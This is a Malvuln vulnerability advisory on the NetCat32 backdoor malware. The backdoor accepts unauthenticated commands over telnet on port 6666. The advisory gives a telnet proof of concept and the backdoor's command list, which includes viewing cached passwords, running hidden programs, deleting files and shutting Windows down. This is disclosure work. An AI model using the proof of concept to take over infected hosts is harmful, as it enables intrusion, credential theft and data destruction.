Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/dcf16aed5ad4e0058a6cfcc7593dd9e3.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NetCat32.10 Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 6666. Attackers who can reach infected systems can run commands made available by the backdoor using TELNET. Family: NetCat32 Type: PE32 MD5: dcf16aed5ad4e0058a6cfcc7593dd9e3 Vuln ID: MVID-2022-0550 Disclosure: 04/14/2022 Exploit/PoC: telnet.exe x.x.x.x 6666 HELO HHEELLPP ======================================================== HELP This help EXIT Quit your session VER Get Versions ExitWin Shutdown Windows CLIP View Clipboard PASS Display Cached Pass DOWNLOAD Host download file GET Get file from host EXEC ShellExecute EXECHIDE ShellExecute SHOW Show Window HIDE Hide Window MAXALL Max all Windows MINALL Min all Windows RESTALL Restore Windows LISTWIN List Windows DESK Set Desktop Color WALL Set Wallpaper MKDIR Make Directory RMDIR Remove Directory RM Delete File MOVE Move / Rename File LS List Directory TELNET Connect another FUNCAP Rock the CapLock CDROM Open/Close cdrom ======================================================== +OK EEXXEECC ccaallcc +OK Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).